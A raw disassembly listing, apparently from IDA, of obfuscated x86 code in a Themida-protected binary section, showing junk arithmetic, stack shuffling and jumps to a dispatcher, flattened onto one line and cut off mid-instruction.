Themida_:00549AA9j pop edi mov eax, [esp] push ebx mov ebx, esp add ebx, 4 push 16C4h mov [esp], esi mov esi, 4 jmp loc_544436 ; --------------------------------------------------------------------------- loc_5499C6: ; CODE XREF: Themida_:0054FB7Dj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5499DD: ; CODE XREF: Themida_:0054640Dj mov esi, 4 jmp loc_54B1DA ; --------------------------------------------------------------------------- loc_5499E7: ; CODE XREF: Themida_:0054D985j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_54EBD8 ; --------------------------------------------------------------------------- loc_5499FE: ; CODE XREF: Themida_:00546DC8j pop esp mov cx, [esp] push ecx push esp pop ecx push ebp mov ebp, 1C1C557Eh dec ebp sub ebp, 518F0A33h not ebp jmp loc_54B936 ; --------------------------------------------------------------------------- loc_549A1A: ; CODE XREF: Themida_:005459F8j push ebx push dword ptr [esp+4] pop ebx jmp loc_54986C ; --------------------------------------------------------------------------- loc_549A25: ; CODE XREF: Themida_:0054B2F2j mov eax, 1D43003Ah neg eax jmp loc_546C9E ; --------------------------------------------------------------------------- loc_549A31: ; CODE XREF: Themida_:0054BBC5j push 4BF1h mov [esp], edx jmp loc_54A390 ; --------------------------------------------------------------------------- loc_549A3E: ; CODE XREF: Themida_:0054F167j pop eax jmp loc_546D47 ; --------------------------------------------------------------------------- loc_549A44: ; CODE XREF: Themida_:00545E96j push eax mov eax, 467F57DDh or ecx, eax pop eax not ecx push esi mov esi, 556F7A9Dh add ecx, esi pop esi neg ecx sub ecx, 0B1FACAF7h jmp loc_549451 ; --------------------------------------------------------------------------- loc_549A65: ; CODE XREF: Themida_:00547E92j jmp loc_544022 ; --------------------------------------------------------------------------- loc_549A6A: ; CODE XREF: Themida_:005461A9j push ebp mov ebp, 39280DA5h sub eax, ebp mov ebp, [esp] add esp, 4 sub eax, 41EA03A6h mov edi, [esp] add esp, 4 jmp loc_549E7B ; --------------------------------------------------------------------------- loc_549A8B: ; CODE XREF: Themida_:0054A36Dj pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54A139 ; --------------------------------------------------------------------------- loc_549A9A: ; CODE XREF: Themida_:00546A67j mov esi, [esp] add esp, 4 jmp loc_54E28E ; --------------------------------------------------------------------------- loc_549AA5: ; CODE XREF: Themida_:00544B3Dj add [esp+4], edi jmp loc_5499A7 ; --------------------------------------------------------------------------- loc_549AAE: ; CODE XREF: Themida_:0054E0F1j add [esp+4], esi pop esi pop ebp add ebp, 4 add ebp, 2 jmp loc_54C169 ; --------------------------------------------------------------------------- loc_549AC2: ; CODE XREF: Themida_:0054DDA3j sub ecx, 0BB0EB5F3h add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_54F335 ; --------------------------------------------------------------------------- loc_549AD5: ; CODE XREF: Themida_:00545998j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54A57C ; --------------------------------------------------------------------------- loc_549AE9: ; CODE XREF: Themida_:0054D79Fj xor ebx, 0C9098141h mov esi, ebx jmp loc_54993E ; --------------------------------------------------------------------------- loc_549AF6: ; CODE XREF: Themida_:0054CB62j mov [esp], eax jmp loc_5496C5 ; --------------------------------------------------------------------------- loc_549AFE: ; CODE XREF: Themida_:00546B3Cj mov bl, ah pop eax jmp loc_547CBA ; --------------------------------------------------------------------------- loc_549B06: ; CODE XREF: Themida_:00546140j sub ax, 5C1Dh push 0DC9h mov [esp], ecx mov cx, 433Ah add cx, 36DCh push edi mov di, 31Bh sub di, 25C9h or di, 1D9Dh inc di neg di add di, 35Eh sub cx, di pop edi sub ax, cx pop ecx jmp loc_547E12 ; --------------------------------------------------------------------------- loc_549B41: ; CODE XREF: Themida_:0054FF4Cj add eax, edi sub eax, 3F230D1Ch mov edi, [esp] add esp, 4 shr eax, 6 not eax xor eax, 660413CDh add eax, 209ADDD8h add esi, eax pop eax mov ebp, esi pop esi and ebx, ebp pop ebp or ebx, ebx jnz loc_54ECBD push ebp push edx push ecx mov ecx, 3EC54E6Ah add dword ptr [esp+4], 253E194Fh push ecx jmp loc_545230 ; --------------------------------------------------------------------------- loc_549B87: ; CODE XREF: Themida_:005461FCj add edx, ebp push edi push esi push 215C4633h pop esi push eax jmp loc_54D89F ; --------------------------------------------------------------------------- loc_549B97: ; CODE XREF: Themida_:0054EACEj add edx, ebp pop ebp add edx, 4 xchg edx, [esp] pop esp jmp loc_54D5D5 ; --------------------------------------------------------------------------- loc_549BA9: ; CODE XREF: Themida_:00546384j pop ebx pop esi mov edx, [esp] add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- loc_549BB6: ; CODE XREF: Themida_:005473B5j sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edi push 47C1h mov [esp], ebx jmp loc_54B8C8 ; --------------------------------------------------------------------------- loc_549BDF: ; CODE XREF: Themida_:0054FD8Dj not dword ptr [esp] pop ebp push ebx mov ebx, 8FEBBE77h sub ebp, 0C170B9Ah sub ebp, ebx add ebp, 0C170B9Ah pop ebx mov edi, ebp mov ebp, [esp] add esp, 4 and ecx, edi mov edi, [esp] jmp loc_549677 ; --------------------------------------------------------------------------- loc_549C0A: ; CODE XREF: Themida_:00545188j pop esp mov [esp], esi push dword ptr [esp] jmp loc_54641F ; --------------------------------------------------------------------------- loc_549C16: ; CODE XREF: Themida_:00544789j push 262Eh mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_54F79F ; --------------------------------------------------------------------------- loc_549C3D: ; CODE XREF: Themida_:005496B6j mov eax, edi pop edi jmp loc_54BBF6 ; --------------------------------------------------------------------------- loc_549C45: ; CODE XREF: Themida_:005441AFj add ebx, 4 jmp loc_54854F ; --------------------------------------------------------------------------- loc_549C50: ; CODE XREF: Themida_:0054C014j mov edx, edi pop edi xor edx, 67F952A6h add ecx, edx pop edx xchg ecx, [esp] jmp loc_54544B ; --------------------------------------------------------------------------- loc_549C64: ; CODE XREF: Themida_:00547CC1j mov [esp], eax mov ah, bl jmp loc_54D0DA ; --------------------------------------------------------------------------- loc_549C6E: ; CODE XREF: Themida_:00548D6Fj pop esi add edx, 19111233h shl edx, 6 or edx, 7DE269F4h push eax mov eax, 0 jmp near ptr dword_547124+1Ch ; --------------------------------------------------------------------------- loc_549C89: ; CODE XREF: Themida_:0054D0DCj pop eax mov [edi+eax*4], cl jmp loc_54D662 ; --------------------------------------------------------------------------- loc_549C92: ; CODE XREF: Themida_:0054EFA2j pop eax dec bl shl bl, 3 inc bl xor bl, 0CCh add al, 82h add al, bl jmp loc_54994F ; --------------------------------------------------------------------------- loc_549CA6: ; CODE XREF: Themida_:0054B9B6j mov esp, [esp] mov [esp], ecx jmp loc_54AC5E ; --------------------------------------------------------------------------- loc_549CB1: ; CODE XREF: Themida_:0054D73Dj dec edx add edx, 0B99CB7CFh mov ebp, edx pop edx push 65AEh mov [esp], ebp push dword ptr [esp] pop edx add esp, 4 pop ebp and eax, edx push dword ptr [esp] pop edx jmp loc_54DDD3 ; --------------------------------------------------------------------------- loc_549CD9: ; CODE XREF: Themida_:00546CC9j push eax mov eax, 4189560Bh or eax, 77380A9Dh dec eax not eax xor eax, 7B0807E2h inc eax add eax, 0CB15980h push eax pop ebx push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54EB49 ; --------------------------------------------------------------------------- loc_549D0C: ; CODE XREF: Themida_:0054857Dj xor al, 0F8h sub al, 0F0h sub esp, 2 mov [esp], dx mov dl, 0D9h mov ch, dl pop dx sub ch, al mov eax, [esp] jmp loc_546D68 ; --------------------------------------------------------------------------- loc_549D27: ; CODE XREF: Themida_:005478BEj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 48051C9Fh xor eax, 33AD1077h add eax, 8457F31Ch push ebp mov ebp, 21851303h and ebp, 68961DC3h xor ebp, 19FD7BA7h sub edi, ebp pop ebp add edi, eax jmp loc_546E05 ; --------------------------------------------------------------------------- loc_549D64: ; CODE XREF: Themida_:0054C0D8j mov ebx, 21871240h add ecx, ebx pop ebx xor ecx, 0ECCE90FFh add ebx, ecx pop ecx sub ebx, esi push ebp mov ebp, 17445F8h push ecx mov ecx, 72945C7Dh xor ebp, ecx jmp loc_54C25B ; --------------------------------------------------------------------------- loc_549D8A: ; CODE XREF: Themida_:0054E6D1j pop ecx add esp, 4 pop dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push 7BC3h jmp loc_54CD87 ; --------------------------------------------------------------------------- loc_549DA5: ; CODE XREF: Themida_:005456F4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_548AC4 ; --------------------------------------------------------------------------- loc_549DBF: ; CODE XREF: Themida_:0054B6F6j mov [esp], ebx jmp loc_5465EF ; --------------------------------------------------------------------------- loc_549DC7: ; CODE XREF: Themida_:00547D0Fj xor ebx, edi pop edi push ebp mov ebp, 513B6D58h add ebp, 9947E12h or ebp, 51B628C2h inc ebp neg ebp xor ebp, 9FD84FDBh jmp loc_544A73 ; --------------------------------------------------------------------------- loc_549DEA: ; CODE XREF: Themida_:0054D764j push 0BBh mov [esp], eax mov eax, esp push esi mov esi, 77E453DCh xor esi, 135B1ED8h add esi, 9B40B300h add eax, esi pop esi sub eax, 4 xchg eax, [esp] jmp loc_548F02 ; --------------------------------------------------------------------------- loc_549E16: ; CODE XREF: Themida_:0054DEF3j add esp, 4 pop dword ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- loc_549E23: ; CODE XREF: Themida_:0054A8AEj xor edx, 755766F9h inc edx jmp loc_54F569 ; --------------------------------------------------------------------------- loc_549E2F: ; CODE XREF: Themida_:0054A2BCj push edx mov edx, 0C8FB9550h add eax, edx pop edx xor esi, eax pop eax xor ecx, esi pop esi push 3E09h mov [esp], edi push 217376CDh jmp loc_54467F ; --------------------------------------------------------------------------- loc_549E50: ; CODE XREF: Themida_:0055002Cj pop eax xchg edi, [esp] pop esp mov cx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push ebx jmp loc_546D88 ; --------------------------------------------------------------------------- loc_549E7B: ; CODE XREF: Themida_:00549A86j sub esp, 4 mov [esp], esi push 39B21FD9h mov esi, [esp] push ecx push esp pop ecx jmp loc_54823B ; --------------------------------------------------------------------------- loc_549E94: ; CODE XREF: Themida_:0054ABB4j push 32227938h pop ebx xor ebx, 35A338A1h mov ebp, ebx pop ebx add ebp, 6CD81C3Eh neg ebp jmp loc_5463EC ; --------------------------------------------------------------------------- loc_549EB0: ; CODE XREF: Themida_:00545A4Ej pop edx shl esi, 3 add esi, 9F530C96h xor edx, esi pop esi add edi, edx pop edx and eax, edi mov edi, [esp] jmp loc_545E43 ; --------------------------------------------------------------------------- loc_549ECA: ; CODE XREF: Themida_:00545286j sub edx, 78A230A2h jmp loc_54892D ; --------------------------------------------------------------------------- loc_549ED5: ; CODE XREF: Themida_:00549086j mov ecx, 4 jmp loc_54C906 ; --------------------------------------------------------------------------- loc_549EDF: ; CODE XREF: Themida_:00549669j pop esp push 5F86h jmp loc_54CF24 ; --------------------------------------------------------------------------- loc_549EEA: ; CODE XREF: Themida_:0054408Ej push esi jmp loc_5458BB ; --------------------------------------------------------------------------- loc_549EF0: ; CODE XREF: Themida_:00546B6Bj push ecx mov ecx, 12B46D90h push esi mov esi, 5F785BA6h add esi, 25841C58h shl esi, 8 neg esi and esi, 50FC7F33h push eax mov eax, 65217E04h shl eax, 5 inc eax shl eax, 2 add eax, 7DE00E52h xor esi, eax pop eax add esi, 3092F091h and ecx, esi pop esi push edi jmp loc_544F6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EAB8 loc_549F31: ; CODE XREF: sub_54EAB8+5j mov ch, al mov bh, ch pop ecx pop eax push eax mov al, bh mov dl, al pop eax pop ebx jmp loc_54C3A3 ; END OF FUNCTION CHUNK FOR sub_54EAB8 ; --------------------------------------------------------------------------- loc_549F43: ; CODE XREF: Themida_:005442B9j add ebp, eax mov eax, [esp] add esp, 4 push esi mov esi, 4 add ebp, esi jmp loc_54834A ; --------------------------------------------------------------------------- loc_549F5B: ; CODE XREF: Themida_:0054CB82j push ecx jmp loc_54DE28 ; --------------------------------------------------------------------------- loc_549F61: ; CODE XREF: Themida_:005474EAj mov esp, [esp] push 2175h jmp loc_54CA0B ; --------------------------------------------------------------------------- loc_549F6E: ; CODE XREF: Themida_:0054C393j mov bh, 6Eh add ch, bh pop ebx xor al, ch pop ecx push small 47AEh mov [esp], cx mov ch, 64h jmp loc_54CC51 ; --------------------------------------------------------------------------- loc_549F85: ; CODE XREF: Themida_:0054507Ej add eax, 13AD6EAEh sub eax, ebx push esi mov esi, 13AD6EAEh jmp loc_54D6A6 ; --------------------------------------------------------------------------- loc_549F97: ; CODE XREF: Themida_:00548285j push edi push edx jmp loc_54A642 ; --------------------------------------------------------------------------- loc_549F9E: ; CODE XREF: Themida_:00547969j or edi, 1B8C2E5Fh shr edi, 2 xor edi, 1B4A1056h add edi, 0EE024E9Dh push 386h mov [esp], edi pop ebx mov edi, [esp] add esp, 4 mov ebp, 0FD4CA599h xor ebp, ebx jmp loc_54A329 ; --------------------------------------------------------------------------- loc_549FD1: ; CODE XREF: Themida_:0054BB71j add edx, eax push edi mov edi, 2D6D5601h not edi sub edi, 9A624888h jmp loc_54CC1B ; --------------------------------------------------------------------------- loc_549FE6: ; CODE XREF: Themida_:0054837Aj add ebx, 4 jmp loc_54F685 ; --------------------------------------------------------------------------- loc_549FF1: ; CODE XREF: Themida_:0054A200j push edx mov dh, 59h push ecx mov cl, 63h xor dh, cl mov ecx, [esp] add esp, 4 sub bl, 0D0h add bl, dh add bl, 0D0h jmp loc_546389 ; --------------------------------------------------------------------------- loc_54A00F: ; CODE XREF: Themida_:0054D44Aj mov [esp], esp push ebp jmp loc_54F8B6 ; --------------------------------------------------------------------------- loc_54A018: ; CODE XREF: Themida_:005440A7j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_547B0B ; --------------------------------------------------------------------------- loc_54A02D: ; CODE XREF: Themida_:00548972j push edi mov edi, 101F1530h or edi, 7E1910A7h jmp loc_54C019 ; --------------------------------------------------------------------------- loc_54A03E: ; CODE XREF: Themida_:0054D2B0j shl ebp, 7 add ebp, 15BD504Bh mov esi, ebp pop ebp mov edi, 0B6062296h push edx mov edx, 51EF4194h jmp loc_5487CA ; --------------------------------------------------------------------------- loc_54A05A: ; CODE XREF: Themida_:0054D348j push 5D1Fh mov [esp], ecx push esi mov si, 0E86h push 1F4Ah jmp loc_545624 ; --------------------------------------------------------------------------- loc_54A071: ; CODE XREF: Themida_:0054CCD5j shl ecx, 1 jmp loc_54CD3E ; --------------------------------------------------------------------------- loc_54A078: ; CODE XREF: Themida_:0054D564j mov edx, esp add edx, 4 push 756Ch jmp loc_54C294 ; --------------------------------------------------------------------------- loc_54A08A: ; CODE XREF: Themida_:0054686Fj add eax, 4 xchg eax, [esp] pop esp add edx, 4 push ebx mov ebx, 4 add edx, ebx pop ebx push 76CCh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push eax jmp loc_55006B ; --------------------------------------------------------------------------- loc_54A0BD: ; CODE XREF: Themida_:0054545Cj pop bx sub al, 35h jmp loc_54649E ; --------------------------------------------------------------------------- loc_54A0C6: ; CODE XREF: Themida_:0054D480j movzx eax, al mov dx, [esp] push 3ED2h jmp loc_54C49F ; --------------------------------------------------------------------------- loc_54A0D7: ; CODE XREF: Themida_:005494EAj pop eax jmp loc_5456BB ; --------------------------------------------------------------------------- loc_54A0DD: ; CODE XREF: Themida_:0054B765j mov esp, [esp] inc byte ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A0E9: ; CODE XREF: Themida_:0054CF90j or [edi+1Ch], edx pop edx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A0F2: ; CODE XREF: Themida_:0054840Bj push 2 pop ebx push ecx mov ecx, 6DA10784h jmp loc_54DFD9 ; --------------------------------------------------------------------------- loc_54A103: ; CODE XREF: Themida_:00548A02j xor ebx, [esp] xor [esp], ebx jmp loc_545D06 ; --------------------------------------------------------------------------- loc_54A10E: ; CODE XREF: Themida_:005496F5j push eax mov eax, 4 add dword ptr [esp+4], 3BB2297Fh add [esp+4], eax sub dword ptr [esp+4], 3BB2297Fh pop eax mov edi, [esp] jmp loc_54D973 ; --------------------------------------------------------------------------- loc_54A131: ; CODE XREF: Themida_:0054BF44j push dword ptr [esp] jmp loc_5464EF ; --------------------------------------------------------------------------- loc_54A139: ; CODE XREF: Themida_:00549A95j mov esp, [esp] bswap eax sub esp, 4 jmp loc_54F561 ; --------------------------------------------------------------------------- loc_54A146: ; CODE XREF: Themida_:005459A4j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_54AC02 ; --------------------------------------------------------------------------- loc_54A157: ; CODE XREF: Themida_:0054A8FFj mov [esp], edx push ebp mov ebp, 12C71A36h jmp loc_54D644 ; --------------------------------------------------------------------------- loc_54A165: ; CODE XREF: Themida_:0054AFEFj test ecx, eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A16D: ; CODE XREF: Themida_:0054C30Fj pop ecx push esi mov esi, 73673464h dec esi jmp loc_54FDCF ; --------------------------------------------------------------------------- loc_54A17A: ; CODE XREF: Themida_:00545DFAj push ebp push 37DF1097h pop ebp shr ebp, 5 dec ebp add ebp, 0FE41077Fh mov esi, ebp jmp loc_54906F ; --------------------------------------------------------------------------- loc_54A192: ; CODE XREF: Themida_:0054D190j or ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 6 add ecx, 38AC873Eh xor eax, ecx pop ecx sub esp, 4 mov [esp], edi jmp loc_548CEE ; --------------------------------------------------------------------------- loc_54A1B4: ; CODE XREF: Themida_:0054EB09j pop esp shr eax, 0Eh xor eax, ecx push eax push 3631h jmp loc_546BB4 ; --------------------------------------------------------------------------- loc_54A1C5: ; CODE XREF: Themida_:0054A499j push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] jmp loc_54E81D ; --------------------------------------------------------------------------- loc_54A1D9: ; CODE XREF: Themida_:0054E9B5j mov edi, 27F07D68h neg edi or edi, 18153D6h shr edi, 5 xor edi, 2ABB7C07h sub edi, 2C770295h jmp loc_54A205 ; --------------------------------------------------------------------------- loc_54A1FA: ; CODE XREF: Themida_:0054F934j xchg ebp, [esp] mov esp, [esp] jmp loc_549FF1 ; --------------------------------------------------------------------------- loc_54A205: ; CODE XREF: Themida_:0054A1F5j mov ebx, edi jmp loc_5447B0 ; --------------------------------------------------------------------------- loc_54A20C: ; CODE XREF: Themida_:0054624Aj add esi, 258227D9h add esi, eax sub esi, 258227D9h pop eax add esi, 4 jmp loc_54FA5F ; --------------------------------------------------------------------------- loc_54A226: ; CODE XREF: Themida_:00546BC2j push 0C1Fh mov [esp], ecx jmp loc_544258 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_544022 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5462A4 ; --------------------------------------------------------------------------- loc_54A244: ; CODE XREF: Themida_:0054FEA5j mov eax, esp add eax, 4 jmp loc_54B69F ; --------------------------------------------------------------------------- loc_54A250: ; CODE XREF: Themida_:005491D9j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_54EA3A ; --------------------------------------------------------------------------- loc_54A261: ; CODE XREF: Themida_:005479C7j sub esp, 4 mov [esp], ebx mov ebx, 4 sub esp, 4 mov [esp], ebx jmp loc_545DAB ; --------------------------------------------------------------------------- loc_54A277: ; CODE XREF: Themida_:005488A7j mov [esp], edi push 6854485h pop edi push eax push 4F586B81h pop eax xor edi, eax mov eax, [esp] add esp, 4 mov eax, edi pop edi push edx mov edx, 58557EAAh jmp loc_54513D ; --------------------------------------------------------------------------- loc_54A2A0: ; CODE XREF: Themida_:0054D7BDj xor eax, edx push dword ptr [esp] pop edx add esp, 4 push 1088h jmp loc_547A98 ; --------------------------------------------------------------------------- loc_54A2B3: ; CODE XREF: Themida_:0054647Fj shl eax, 4 shl eax, 4 add eax, 1 jmp loc_549E2F ; --------------------------------------------------------------------------- loc_54A2C1: ; CODE XREF: Themida_:00546755j mov [esp], ecx push 4 jmp loc_54658E ; --------------------------------------------------------------------------- loc_54A2CE: ; CODE XREF: Themida_:0054799Fj mov [esp], edi mov edi, 0F787A27Eh jmp loc_5479CC ; --------------------------------------------------------------------------- loc_54A2DB: ; CODE XREF: Themida_:0054FFF6j xor eax, ebx pop ebx push ecx sub esp, 4 mov [esp], edi mov edi, 70705580h sub edi, 54B55010h jmp loc_546BCF ; --------------------------------------------------------------------------- loc_54A2F8: ; CODE XREF: Themida_:0054EB4Dj add eax, 4 xchg eax, [esp] jmp loc_54E833 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_54AF2F ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54F53D ; --------------------------------------------------------------------------- loc_54A316: ; CODE XREF: Themida_:0054DB56j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_547ACF ; --------------------------------------------------------------------------- loc_54A329: ; CODE XREF: Themida_:00549FCCj push dword ptr [esp] pop ebx add esp, 4 sub [edi+24h], ebp pop ebp loc_54A337: ; CODE XREF: Themida_:00544167j push edx push 5CFFh mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_546E50 ; --------------------------------------------------------------------------- loc_54A34D: ; CODE XREF: Themida_:0054EC2Fj mov [esp], dx jmp loc_5469CD ; --------------------------------------------------------------------------- loc_54A356: ; CODE XREF: Themida_:0054F9C4j push esi push ebp mov ebp, 0 mov esi, ebp pop ebp sub esi, edi xchg esi, edi pop esi add edi, 0EAD6EC17h add ebp, edi jmp loc_549A8B ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_54ED34 ; --------------------------------------------------------------------------- loc_54A37A: ; CODE XREF: Themida_:0054BB7Cj sub eax, 12FB5929h jmp loc_54A600 ; --------------------------------------------------------------------------- loc_54A384: ; CODE XREF: Themida_:0054E666j push edi mov edi, 7B753511h push eax jmp loc_54FE17 ; --------------------------------------------------------------------------- loc_54A390: ; CODE XREF: Themida_:00549A39j sub esp, 4 jmp loc_544C01 ; --------------------------------------------------------------------------- loc_54A398: ; CODE XREF: Themida_:00548757j add esp, 4 jmp loc_54AE14 ; --------------------------------------------------------------------------- loc_54A3A3: ; CODE XREF: Themida_:0054AED0j xor eax, ebx push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_54AD5A ; --------------------------------------------------------------------------- loc_54A3C2: ; CODE XREF: Themida_:0054B22Cj pop edx mov bl, ah mov ax, [esp] push esi mov esi, esp jmp loc_545321 ; --------------------------------------------------------------------------- loc_54A3D1: ; CODE XREF: Themida_:0054AE85j not ebp xor edi, ebp xor ebp, edi xor edi, ebp add edi, 57B69547h sub ebx, edi pop edi add ebx, eax push esi mov esi, 230E46A8h add ebx, esi jmp loc_5490ED ; --------------------------------------------------------------------------- loc_54A3F1: ; CODE XREF: Themida_:0054AECAj add ecx, 4 add ecx, 4 jmp loc_5476B3 ; --------------------------------------------------------------------------- loc_54A402: ; CODE XREF: Themida_:0054650Aj push ebp mov ebp, esp jmp loc_5452B6 ; --------------------------------------------------------------------------- loc_54A40A: ; CODE XREF: Themida_:00549233j mov bl, 0C8h mov ah, bl jmp loc_54C86F ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push 1CA7h mov [esp], esp add dword ptr [esp], 4 pop ebp push edi mov edi, 4 jmp loc_5445F2 ; --------------------------------------------------------------------------- loc_54A430: ; CODE XREF: Themida_:005496D2j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 2 sub eax, 2EA2154h sub eax, 4F9D0B08h add eax, edi add eax, 4F9D0B08h jmp loc_54AD62 ; --------------------------------------------------------------------------- loc_54A458: ; CODE XREF: Themida_:00544C0Cj pop esp sar dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A462: ; CODE XREF: Themida_:0054DE09j pop esp add edi, 4 add edi, 2 xchg edi, [esp] mov esp, [esp] push ecx push eax mov ah, 0B1h jmp loc_54D585 ; --------------------------------------------------------------------------- loc_54A47E: ; CODE XREF: Themida_:0054A7DCj add ebx, 5A800E31h add ebx, ecx sub ebx, 5A800E31h sub ebx, 19663C05h pop ecx sub ebx, 4 jmp loc_54A1C5 ; --------------------------------------------------------------------------- loc_54A49E: ; CODE XREF: Themida_:00548F51j sub ebp, 50855D33h pop edx push edi mov edi, 2 add ebp, edi mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_54CD11 ; --------------------------------------------------------------------------- loc_54A4BE: ; CODE XREF: Themida_:0054E805j sub esi, 0FFFFFFFFh jmp loc_54BAAF ; --------------------------------------------------------------------------- loc_54A4C9: ; CODE XREF: Themida_:0054E5D3j mov ebp, 4 add eax, ebp pop ebp push edi mov edi, 15F2086Eh shr edi, 5 add edi, 563C0E74h push ebp push edi mov edi, 1C6937D5h mov ebp, 7354D688h sub ebp, edi pop edi xor edi, ebp pop ebp add eax, edi jmp loc_54C0DD ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_549043 ; --------------------------------------------------------------------------- loc_54A504: ; CODE XREF: Themida_:00548333j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A509: ; CODE XREF: Themida_:0054F471j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ecx, [esp] mov esp, [esp] idiv ecx push 79Fh mov [esp], edx push eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A52D: ; CODE XREF: Themida_:005498B2j add dword ptr [esp], 50E45217h jmp loc_54C4C4 ; --------------------------------------------------------------------------- loc_54A539: ; CODE XREF: Themida_:00548AD6j pop esp pop small word ptr [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A543: ; CODE XREF: Themida_:0054F8E7j sub eax, 62C274B4h sub eax, ecx push edi mov edi, 0C75254Dh add edi, 51065C95h shr edi, 2 and edi, 74CA14F0h sub edi, 6C8346BDh or edi, 2EDB1B7Eh add edi, 0B2E2B8B5h jmp loc_54E47D ; --------------------------------------------------------------------------- loc_54A576: ; CODE XREF: Themida_:005471C7j pop ecx jmp loc_54AF62 ; --------------------------------------------------------------------------- loc_54A57C: ; CODE XREF: Themida_:00549AE4j pop esp add esi, 4 push ebp push eax mov eax, 46B85EA1h shr eax, 6 shr eax, 5 shr eax, 8 jmp loc_54F217 ; --------------------------------------------------------------------------- loc_54A598: ; CODE XREF: Themida_:0054EFF1j push edx jmp loc_54B262 ; --------------------------------------------------------------------------- loc_54A59E: ; CODE XREF: Themida_:00544F87j mov [esp], edx mov edx, 0E9DA4EC3h add ecx, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_544964 ; --------------------------------------------------------------------------- loc_54A5B7: ; CODE XREF: Themida_:0054D086j inc esi push ebx mov ebx, 447C796Ah jmp loc_54847A ; --------------------------------------------------------------------------- loc_54A5C3: ; CODE XREF: Themida_:0054FD5Cj pop ebp sub esp, 4 mov [esp], eax jmp loc_54E546 ; --------------------------------------------------------------------------- loc_54A5D2: ; CODE XREF: Themida_:00547FAAj add ecx, esi jmp loc_54AD9C ; --------------------------------------------------------------------------- loc_54A5D9: ; CODE XREF: Themida_:0054EAB3j push edx mov edx, 0 jmp loc_548C37 ; --------------------------------------------------------------------------- loc_54A5E4: ; CODE XREF: Themida_:00547D82j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_54EC3D ; --------------------------------------------------------------------------- loc_54A600: ; CODE XREF: Themida_:0054A37Fj sub eax, 152B4FE6h add eax, ebx add eax, 152B4FE6h add eax, 12FB5929h pop ebx push ebp mov ebp, 26C1039h sub ebp, 5E406E2Dh neg ebp or ebp, 1B3A4D74h add ebp, 49442F84h shr ebp, 3 sub ebp, 14A851ADh add eax, ebp jmp loc_546DEE ; --------------------------------------------------------------------------- loc_54A63C: ; CODE XREF: Themida_:005463E7j pop eax jmp loc_5466E6 ; --------------------------------------------------------------------------- loc_54A642: ; CODE XREF: Themida_:00549F99j push ebp mov ebp, ecx jmp loc_548221 ; --------------------------------------------------------------------------- loc_54A64A: ; CODE XREF: Themida_:0054771Dj mov ecx, 0A726E5Ch xor ecx, 19187247h sub ecx, 136A1C17h add ebx, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebx, [esp] jmp loc_547B56 ; --------------------------------------------------------------------------- loc_54A678: ; CODE XREF: Themida_:0054C1A7j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] idiv cx push edi push esp pop edi add edi, 4 push esi jmp loc_548C25 ; --------------------------------------------------------------------------- lodsb jmp loc_54EC0F ; --------------------------------------------------------------------------- loc_54A69C: ; CODE XREF: Themida_:0054E580j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54E518 ; --------------------------------------------------------------------------- loc_54A6AA: ; CODE XREF: Themida_:00548CABj add edx, 4 xchg edx, [esp] jmp loc_54523E ; --------------------------------------------------------------------------- loc_54A6B5: ; CODE XREF: Themida_:0054985Cj push ecx mov cl, al mov dh, cl jmp 